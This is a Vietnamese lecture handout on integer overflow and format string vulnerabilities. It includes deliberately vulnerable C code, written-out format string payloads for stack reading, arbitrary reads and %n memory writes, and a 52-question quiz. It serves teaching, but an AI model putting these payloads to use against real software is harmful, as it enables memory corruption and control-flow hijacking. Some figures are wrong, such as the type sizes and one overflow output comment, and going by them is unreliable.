Buổi 08: Tràn Số Nguyên & Chuỗi Định Dạng

Ôn tập Buffer Overflow


1. Lỗ Hổng Tràn Số Nguyên (Integer Overflow)

1.1 Định nghĩa

1.2 Tại sao lại xảy ra?

Máy tính lưu số nguyên dưới dạng nhị phân với số bit cố định. Ví dụ kiểu int 32-bit:

int var = 25;
(25)₁₀ = (00000000 00000000 00000000 00011001)₂

Khi giá trị vượt quá 32 bit, bit cao nhất bị cắt bỏ (bị “tràn”), dẫn đến kết quả hoàn toàn sai.

Biểu diễn số âm (Two’s Complement):

+127  = 0111 1111
+1    = 0000 0001
 0    = 0000 0000
-1    = 1111 1111
-2    = 1111 1110
-128  = 1000 0000

1.3 Các kiểu dữ liệu trong C

Kiểu dữ liệuKích thước (bytes)Phạm viFormat
char1-128 → 127%c
unsigned char10 → 255%c
short / int2-32,768 → 32,767%i hoặc %d
unsigned int20 → 65,535%u
long4-2,147,483,648 → 2,147,483,647%ld
unsigned long40 → 4,294,967,295%lu
float43.4e-38 → 3.4e+38%f
double81.7e-308 → 1.7e+308%lf
long double103.4e-4932 → 1.1e+4932%lf

1.4 Ví dụ minh họa

#include <iostream>
using namespace std;

int main() {
    int a = 4278190080;         // Vượt quá INT_MAX (2147483647) → tràn âm
    cout << "a = " << a << '\n';  // Output: a = -16777216

    unsigned int b = 4299360564;  // Vượt quá UINT_MAX (4294967295) → wrap-around
    cout << "b = " << b << '\n';  // Output: b = 4273796812 (hoặc giá trị khác)

    int c = 1;
    unsigned int d = 4294967295;  // UINT_MAX
    cout << "c - d = " << c - d << '\n';  // Kết quả: 2 (do arithmetic wrap-around)

    return 0;
}

1.5 Cách khai thác Integer Overflow

graph TD A[Integer Overflow] --> B[Làm sai lệch phép tính\nnhằm thay đổi luồng chương trình] A --> C[Lợi dụng để ghi đè\nlên vị trí ngoài mảng] B --> D[Bypass điều kiện kiểm tra\nvd: if size > MAX] C --> E[Tương tự buffer overflow\nnhưng qua con đường tính toán]

Ví dụ khai thác thực tế:

// Đoạn code dễ bị tấn công
void* allocate_buffer(unsigned int count, unsigned int size) {
    // Nếu count = 0x80000001, size = 2
    // count * size = 0x100000002 → tràn thành 2 (với 32-bit)
    unsigned int total = count * size;  // INTEGER OVERFLOW!
    void* buf = malloc(total);          // Cấp phát chỉ 2 bytes
    // Nhưng sau đó copy count*size bytes thật → heap overflow!
    memcpy(buf, input, count * size);
    return buf;
}

2. Lỗ Hổng Chuỗi Định Dạng (Format String Vulnerability)

2.1 Chuỗi định dạng là gì?

Format string là một chuỗi ký tự chứa các ký hiệu chuyển đổi (conversion specifiers) dùng để định dạng dữ liệu đầu ra.

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]) {
    char *format = "%s";
    char *arg1 = "Hello World!\n";
    printf(format, arg1);  // In: Hello World!
    return EXIT_SUCCESS;
}

2.2 Các hàm sử dụng format string

#include <stdio.h>
int printf(const char *format, ...);
int fprintf(FILE *stream, const char *format, ...);
int sprintf(char *str, const char *format, ...);
int snprintf(char *str, size_t size, const char *format, ...);

#include <stdarg.h>
int vprintf(const char *format, va_list ap);
int vfprintf(FILE *stream, const char *format, va_list ap);
int vsprintf(char *str, const char *format, va_list ap);
int vsnprintf(char *str, size_t size, const char *format, va_list ap);

2.3 Các ký hiệu định dạng quan trọng

Ký hiệuMô tảKích thước
%dSố nguyên có dấu4 bytes
%uSố nguyên không dấu4 bytes
%xSố thập lục phân (hex)4 bytes
%sChuỗi ký tự (con trỏ)pointer
%cKý tự đơn1 byte
%nGhi số byte đã in vào biến con trỏpointer

Ký hiệu xác định độ dài:

Ký hiệuĐộ dàiKiểu
hh1 bytechar
h2 bytesshort int
l4 byteslong int
ll8 byteslong long int

Ví dụ: %hd → đọc short int 2 bytes.

2.4 Ví dụ về định dạng nâng cao

printf("%03d.%03d.%03d.%03d", 127, 0, 0, 1);
// Output: 127.000.000.001

printf("%.2f", 5.6732);
// Output: 5.67

printf("%#010x", 3735928559);
// Output: 0xdeadbeef

// %n: đếm số byte đã in
int n = 5;
printf("%s%n\n", "01234", &n);
// n = 5 (độ dài "01234")

2.5 Cơ chế hoạt động của printf trên stack

Khi gọi printf("a=%d, b=%d, c at %08x\n", a, b, &c):

Stack layout (địa chỉ tăng dần):
┌──────────────────┐  ← ESP
│  addr of f_string│  (tham số 1: con trỏ format string)
├──────────────────┤
│        a         │  (tham số 2: giá trị a)
├──────────────────┤
│        b         │  (tham số 3: giá trị b)
├──────────────────┤
│       &c         │  (tham số 4: địa chỉ của c)
├──────────────────┤
│        c         │
│        b         │
│        a         │
│      0x1001      │  ← (biến cục bộ cũ hơn)
└──────────────────┘

Vấn đề: Khi thiếu tham số:

// Code bị lỗi: thiếu &c
printf("a=%d, b=%d, c at %08x\n", a, b);  // Chỉ có 2 tham số, nhưng có 3 format spec
Stack layout:
┌──────────────────┐
│  addr of f_string│
├──────────────────┤
│        a         │  ← %d đầu tiên đọc đây (OK)
├──────────────────┤
│        b         │  ← %d thứ hai đọc đây (OK)
├──────────────────┤
│   UNKNOWN VALUE  │  ← %08x đọc đây (GIÁ TRỊ RÁC TRÊN STACK!)
└──────────────────┘

2.6 Khi người dùng kiểm soát format string

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]) {
    char buf[100];
    fgets(buf, 100, stdin);
    printf(buf);          // ← LỖ HỔNG: format string do user kiểm soát!
    return EXIT_SUCCESS;
}

2.7 Các kỹ thuật khai thác Format String

Kỹ thuật 1: Crash chương trình

# Input: nhiều %s liên tiếp
python3 -c 'print("%s" * 100)' | ./format

Kỹ thuật 2: Đọc dữ liệu trên stack

# Input: "AAAA" + "%08x." * 10
python3 -c 'print("AAAA" + "%08x." * 10)' | ./format
# Output ví dụ:
# AAAA00000064.f7fb35a0.00f0b5ff.ffffcfbe.00000001.000000c2.ffffd0b4.ffffcfbe.ffffd0bc.41414141.

Kỹ thuật 3: Đọc dữ liệu tại địa chỉ tùy ý

Input: <4-byte address> + "%x " * n + "%s"
Stack layout khi printf chạy:
┌─────────────────────┐ ← ESP
│  ptr to buf         │  ← printf đọc format string từ đây
├─────────────────────┤
│  [addr cần đọc]     │  ← buf[0..3]: 4 byte địa chỉ
├─────────────────────┤
│  ...%x ... %x ...   │  ← các %x "nhảy qua" các giá trị stack
├─────────────────────┤
│  %s                 │  ← %s cuối cùng sẽ đọc tại địa chỉ buf[0..3]
└─────────────────────┘
# Giả sử địa chỉ cần đọc là 0x08041054
addr = b'\x54\x10\x04\x08'
payload = addr + b'%x ' * 9 + b'%s'

Kỹ thuật 4: Truy xuất tham số trực tiếp

// Cú pháp: %<số thứ tự>$<format>
printf("%3$d", 1, 2, 3);  // Output: 3  (lấy tham số thứ 3)
printf("%1$s", "hello");  // Output: hello

Kỹ thuật 5: Ghi dữ liệu vào bộ nhớ với %n

%n là format specifier đặc biệt: ghi số byte đã in ra trước đó vào địa chỉ được chỉ định bởi tham số tương ứng.

int count;
printf("Hello%n", &count);  // count = 5 (độ dài "Hello")
printf("Hi%n", &count);     // count = 2 (độ dài "Hi")

Khai thác để ghi giá trị tùy ý:

# Muốn ghi giá trị 100 vào địa chỉ 0x08049704
# Cách: in đủ 100 ký tự trước %n

addr = b'\x04\x97\x04\x08'  # địa chỉ đích (little-endian)
# In 96 ký tự nữa (4 byte addr đã in rồi) = tổng 100
payload = addr + b'%96x' + b'%n'
graph LR A[Format String Attack] --> B[Crash: %s%s%s...] A --> C[Đọc stack: %08x nhiều lần] A --> D[Đọc địa chỉ tùy ý: addr + %x*n + %s] A --> E[Ghi bộ nhớ: addr + padding + %n] E --> F[Ghi đè GOT entry] E --> G[Ghi đè return address] E --> H[Ghi đè biến toàn cục]

Câu Hỏi Trắc Nghiệm

Câu 1. Kiểu unsigned char trong C có phạm vi giá trị là bao nhiêu?

  • A. -128 đến 127
  • B. 0 đến 255
  • C. -256 đến 255
  • D. 0 đến 127

Câu 2. Integer Overflow xảy ra khi nào?

  • A. Khi biến không được khởi tạo
  • B. Khi phép toán tạo ra giá trị vượt ngoài phạm vi biểu diễn của kiểu dữ liệu
  • C. Khi chia cho 0
  • D. Khi truy cập mảng ngoài giới hạn

Câu 3. Với signed char 8-bit, kết quả của 127 + 1 là bao nhiêu?

  • A. 128
  • B. 0
  • C. -128
  • D. -1

Câu 4. Với unsigned int 32-bit, kết quả của 4294967295 + 1 là bao nhiêu?

  • A. 4294967296
  • B. 1
  • C. -1
  • D. 0

Câu 5. Nguy hiểm chính khi integer overflow xảy ra trong hàm cấp phát bộ nhớ là gì?

  • A. Chương trình dừng ngay lập tức
  • B. Vùng nhớ được cấp phát nhỏ hơn thực tế cần, dẫn đến heap overflow
  • C. CPU bị quá tải
  • D. Stack bị xóa hoàn toàn

Câu 6. Lỗ hổng CVE BadAlloc (Black Hat 2021) liên quan đến loại lỗ hổng nào?

  • A. Buffer overflow trên stack
  • B. Integer overflow trong memory allocator
  • C. Format string
  • D. Use-after-free

Câu 7. Format string %08x có nghĩa là gì?

  • A. In số hex, tối đa 8 ký tự
  • B. In số hex, đệm 0 cho đủ 8 ký tự
  • C. In 8 byte dưới dạng hex
  • D. In địa chỉ 8 byte

Câu 8. Format specifier %n dùng để làm gì?

  • A. In số nguyên âm
  • B. In ký tự xuống dòng
  • C. Ghi số byte đã in ra trước đó vào biến con trỏ
  • D. Đọc một số từ stdin

Câu 9. Đoạn code nào sau đây có lỗ hổng format string?

  • A. printf("%s", buf);
  • B. printf(buf);
  • C. printf("%d %s", num, buf);
  • D. fprintf(stderr, "%s\n", buf);

Câu 10. Khi dùng printf("%s%s%s%s%s") không có tham số, điều gì xảy ra?

  • A. Không có gì xảy ra, in ra chuỗi rỗng
  • B. Compiler báo lỗi
  • C. printf đọc giá trị từ stack, xem là địa chỉ, đọc chuỗi tại đó → có thể crash
  • D. printf in ra địa chỉ của stack

Câu 11. Input "AAAA" + "%08x." * 10 nhằm mục đích gì?

  • A. Crash chương trình
  • B. Đọc 40 byte dữ liệu từ stack và tìm vị trí của chuỗi “AAAA” (0x41414141) trong output
  • C. Ghi đè return address
  • D. Leak địa chỉ heap

Câu 12. Format specifier %hh chỉ định độ dài bao nhiêu byte?

  • A. 4 bytes
  • B. 2 bytes
  • C. 1 byte
  • D. 8 bytes

Câu 13. printf("%3$d", 1, 2, 3) in ra kết quả gì?

  • A. 1
  • B. 2
  • C. 3
  • D. 123

Câu 14. Tại sao kỹ thuật %N$x hữu ích hơn dùng nhiều %x?

  • A. Nhanh hơn về mặt hiệu năng CPU
  • B. Truy xuất trực tiếp vị trí trên stack mà không cần nhiều specifier trung gian, tiết kiệm không gian payload
  • C. Ít gây crash hơn
  • D. Chỉ hoạt động trên Windows

Câu 15. Trong kỹ thuật đọc địa chỉ tùy ý bằng format string, vai trò của %x trung gian là gì?

  • A. In giá trị hex để debug
  • B. “Nhảy qua” các giá trị trên stack để đến đúng vị trí địa chỉ cần đọc
  • C. Kiểm tra ASLR
  • D. Tạo ra heap spray

Câu 16. Tại sao printf(buf) nguy hiểm hơn printf("%s", buf)?

  • A. printf(buf) chậm hơn
  • B. Khi buf do user kiểm soát, user có thể nhúng format specifier để đọc/ghi stack tùy ý
  • C. printf("%s", buf) không in được ký tự đặc biệt
  • D. printf(buf) tốn nhiều bộ nhớ hơn

Câu 17. snprintf so với sprintf an toàn hơn vì:

  • A. snprintf nhanh hơn
  • B. snprintf có tham số giới hạn kích thước output, tránh ghi vượt buffer
  • C. snprintf không hỗ trợ format specifier
  • D. snprintf tự động thoát ký tự đặc biệt

Câu 18. Biểu diễn two’s complement của -1 với 8-bit là?

  • A. 1000 0001
  • B. 1111 1110
  • C. 1111 1111
  • D. 0000 0001

Câu 19. Kết quả của printf("%.2f", 5.6732) là gì?

  • A. 5.6732
  • B. 5.67
  • C. 5.70
  • D. 5.6

Câu 20. Integer Overflow có thể dẫn đến hậu quả nào trong thực tế?

  • A. Chỉ gây crash, không khai thác được
  • B. Bypass kiểm tra điều kiện, cấp phát vùng nhớ sai kích thước, dẫn đến RCE
  • C. Chỉ ảnh hưởng đến hiệu năng
  • D. Chỉ xảy ra trên kiến trúc 32-bit

Câu 21. %#010x in số 3735928559 ra kết quả gì?

  • A. 3735928559
  • B. deadbeef
  • C. 0xdeadbeef
  • D. 00deadbeef

Câu 22. Khi khai thác format string để ghi giá trị lớn (ví dụ 0xdeadbeef), kỹ thuật nào hiệu quả hơn?

  • A. In 0xdeadbeef ký tự trước %n
  • B. Ghi từng byte hoặc 2 byte với %hhn/%hn và địa chỉ riêng cho từng phần
  • C. Dùng nhiều %n liên tiếp
  • D. Không thể ghi giá trị lớn

Câu 23. Hàm gets() bị coi là nguy hiểm vì:

  • A. Chậm hơn fgets
  • B. Không giới hạn độ dài đọc, đọc đến newline hoặc EOF → buffer overflow
  • C. Không đọc được ký tự đặc biệt
  • D. Chỉ đọc được 255 ký tự

Câu 24. Stack protector (-fstack-protector) bảo vệ bằng cách nào?

  • A. Ngẫu nhiên hóa địa chỉ stack
  • B. Đặt canary value giữa buffer và saved return address, kiểm tra trước khi return
  • C. Mã hóa toàn bộ stack frame
  • D. Chặn tất cả write operation vào stack

Câu 25. ASLR (Address Space Layout Randomization) bảo vệ khỏi điều gì?

  • A. Integer overflow
  • B. Kẻ tấn công hardcode địa chỉ cố định (libc, stack, heap) trong payload
  • C. Format string vulnerability
  • D. Logic bug

Câu 26. Tại sao format string attack có thể leak địa chỉ bộ nhớ kể cả khi ASLR bật?

  • A. ASLR không bảo vệ stack
  • B. Dùng %x đọc giá trị thực tế trên stack, bao gồm con trỏ trỏ vào libc/stack đang chạy
  • C. ASLR bị tắt khi dùng format string
  • D. Không thể leak với ASLR

Câu 27. long trong C theo bảng slide có kích thước bao nhiêu byte?

  • A. 2 bytes
  • B. 4 bytes
  • C. 8 bytes
  • D. Tùy platform

Câu 28. %s trong format string đọc dữ liệu như thế nào?

  • A. Đọc 4 byte và in dưới dạng ký tự
  • B. Lấy 4 byte từ stack làm địa chỉ con trỏ, đọc chuỗi tại đó đến ký tự NULL
  • C. Đọc 1 byte tại vị trí ESP
  • D. In địa chỉ ESP hiện tại

Câu 29. Điều kiện cần để khai thác format string vulnerability là gì?

  • A. Phải có quyền root
  • B. Người dùng phải kiểm soát được nội dung của chuỗi format string truyền vào hàm printf
  • C. Chương trình phải chạy trên Linux
  • D. Stack phải thực thi được (NX off)

Câu 30. Khi nói “đọc dữ liệu trên stack” bằng format string, tối đa đọc được bao nhiêu byte nếu buffer là 100 byte và mỗi %08x. dài 9 byte?

  • A. 100 bytes
  • B. Khoảng 36 bytes (4 word từ (100-4)/9 ≈ 10 specifier)
  • C. Không giới hạn
  • D. 40 bytes (10 word × 4 byte)

Câu 31. Lỗ hổng CVE-2022-1215 được tìm thấy trong thư viện nào?

  • A. OpenSSL
  • B. libinput
  • C. glibc
  • D. libpng

Câu 32. Two’s complement được sử dụng để biểu diễn số âm vì lý do gì?

  • A. Đơn giản hơn sign-magnitude
  • B. Phép cộng và trừ hoạt động đồng nhất không cần xét dấu riêng, và chỉ có một biểu diễn cho số 0
  • C. Biểu diễn được số lớn hơn
  • D. Dễ đọc hơn cho con người

Câu 33. scanf("%s", buf) khác fgets(buf, n, stdin) ở điểm nào quan trọng về bảo mật?

  • A. scanf nhanh hơn
  • B. scanf("%s") không giới hạn độ dài, đọc đến whitespace → buffer overflow; fgets giới hạn n byte
  • C. fgets không đọc được khoảng trắng
  • D. scanf mã hóa input

Câu 34. Khi phân tích output của AAAA%08x.%08x...%08x, ý nghĩa của việc 41414141 xuất hiện ở vị trí thứ N là gì?

  • A. Đây là địa chỉ của biến a
  • B. Buffer buf nằm ở vị trí tham số thứ N+1 của printf (tính cả tham số format string)
  • C. Stack bị hỏng
  • D. ASLR bị tắt

Câu 35. Tại sao cần đặt địa chỉ cần đọc/ghi vào đầu payload trong format string attack?

  • A. Vì printf đọc từ trái sang phải
  • B. Vì địa chỉ cần nằm trong vùng stack mà printf sẽ “thấy” khi xử lý specifier
  • C. Vì địa chỉ phải là byte đầu tiên của file
  • D. Không cần thiết phải ở đầu

Câu 36. CWE-134 mô tả loại lỗ hổng nào?

  • A. Buffer overflow
  • B. Use of Externally-Controlled Format String
  • C. Integer overflow
  • D. NULL pointer dereference

Câu 37. Tại sao %n bị coi là nguy hiểm đặc biệt?

  • A. Vì nó làm chậm chương trình
  • B. Vì nó là specifier duy nhất ghi vào bộ nhớ thay vì chỉ đọc
  • C. Vì nó làm crash chương trình ngay lập tức
  • D. Vì nó không được hỗ trợ trên Linux

Câu 38. Trong format string attack, mục tiêu ghi đè thường là gì?

  • A. Code section của program
  • B. GOT (Global Offset Table) entry, return address, function pointer
  • C. CPU registers trực tiếp
  • D. Kernel memory

Câu 39. Để phòng chống format string vulnerability, biện pháp nào hiệu quả nhất?

  • A. Dùng ASLR
  • B. Luôn dùng format string cố định (printf("%s", input) thay vì printf(input))
  • C. Tắt tính năng %n
  • D. Kiểm tra độ dài input

Câu 40. Lỗ hổng IBM Spectrum Scale CVE-2021-29740 thuộc loại gì và mức độ nghiêm trọng?

  • A. Integer overflow, Medium
  • B. Format string, High
  • C. Buffer overflow, Critical
  • D. Use-after-free, Low

Câu 41. Khi khai thác buffer overflow trong hàm test(), phần tử nào trên stack frame bị ghi đè để kiểm soát luồng thực thi?

  • A. Biến a trong main()
  • B. Saved return address trong stack frame của test()
  • C. Stack pointer (ESP)
  • D. Code segment register (CS)

Câu 42. -fno-stack-protector tắt cơ chế bảo vệ nào?

  • A. ASLR
  • B. NX bit
  • C. Stack canary
  • D. PIE (Position Independent Executable)

Câu 43. Số lượng CVE liên quan đến format string vulnerability theo slide là bao nhiêu?

  • A. Khoảng 100
  • B. Khoảng 751
  • C. Khoảng 50
  • D. Khoảng 2000

Câu 44. double trong C có kích thước bao nhiêu byte và format string nào?

  • A. 4 bytes, %f
  • B. 8 bytes, %lf
  • C. 4 bytes, %lf
  • D. 10 bytes, %lf

Câu 45. Tại sao integer overflow đặc biệt nguy hiểm trong code kiểm tra điều kiện an toàn?

  • A. Vì điều kiện if bị xóa khỏi bộ nhớ
  • B. Giá trị tràn thành số nhỏ hơn MAX → vượt qua kiểm tra if (size > LIMIT) dù thực sự rất lớn
  • C. Chỉ nguy hiểm khi debug mode
  • D. Integer overflow không ảnh hưởng đến if statement

Câu 46. vprintf khác printf ở điểm nào?

  • A. vprintf nhanh hơn
  • B. vprintf nhận danh sách tham số dạng va_list thay vì variadic args trực tiếp
  • C. vprintf không hỗ trợ %n
  • D. vprintf chỉ in ra stderr

Câu 47. Để đọc nội dung tại địa chỉ 0xffffcfbe bằng format string, payload phải bao gồm gì?

  • A. Chuỗi hex ffffcfbe + %s
  • B. 4 byte \xbe\xcf\xff\xff (little-endian) ở đầu, rồi đủ %x trung gian, rồi %s
  • C. %s + địa chỉ ở cuối
  • D. Chỉ cần %s là đủ

Câu 48. Tại sao format string attack vẫn xuất hiện nhiều trong thực tế dù đã biết từ lâu?

  • A. Không có cách phòng chống
  • B. Lập trình viên tiếp tục dùng printf(user_input) do thiếu hiểu biết hoặc code legacy
  • C. Compiler không thể phát hiện
  • D. Chỉ ảnh hưởng đến ngôn ngữ C cũ

Câu 49. Trong bảng 2’s complement 8-bit, giá trị nào có thể biểu diễn mà sign-magnitude không thể biểu diễn duy nhất?

  • A. +127
  • B. -128
  • C. 0
  • D. -0

Câu 50. Phương pháp nào trong số sau đây không phải là phương pháp khai thác format string vulnerability?

  • A. Crash chương trình bằng %s%s%s...
  • B. Đọc stack bằng %x%x%x...
  • C. Ghi đè bộ nhớ bằng %n
  • D. Tăng stack size bằng alloca()

Câu 51. Với hệ thống 32-bit, mỗi %x trong format string attack đọc bao nhiêu byte từ stack?

  • A. 1 byte
  • B. 2 bytes
  • C. 4 bytes
  • D. 8 bytes

Câu 52. Nếu input bị giới hạn 100 byte và ta dùng cú pháp %N$x thay vì nhiều %x, lợi ích là gì?

  • A. Tốc độ nhanh hơn 10 lần
  • B. Payload ngắn hơn nhiều, đọc được tham số ở vị trí xa hơn trong giới hạn input
  • C. Tránh được ASLR
  • D. Không có sự khác biệt